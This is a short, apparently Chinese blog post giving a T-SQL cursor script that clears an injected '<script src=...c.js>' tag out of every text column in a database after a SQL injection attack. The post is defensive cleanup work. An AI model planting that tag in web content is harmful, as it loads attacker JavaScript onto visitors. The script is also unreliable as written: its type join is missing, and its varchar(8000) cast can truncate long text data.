declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for select a.name,b.name
from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype='u' and c.name
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')
declare @str varchar(500),@str2 varchar(500)
set @str='<script src=http://r01.3322.org/c.js></script>'/*要替换的内容*/
set @str2=''
open table_cursor
fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')
fetch next from table_cursor
into @t,@c end close table_cursor deallocate table_cursor;
解决并清除SQL被注入恶意病毒代码的语句
最新推荐文章于 2025-12-24 21:03:51 发布
本文介绍了一种使用SQL游标和动态SQL的方法来遍历数据库表并批量更新特定字段中的字符串内容。通过创建游标获取表名和列名,然后利用REPLACE函数实现字符串替换。
344

被折叠的 条评论
为什么被折叠?



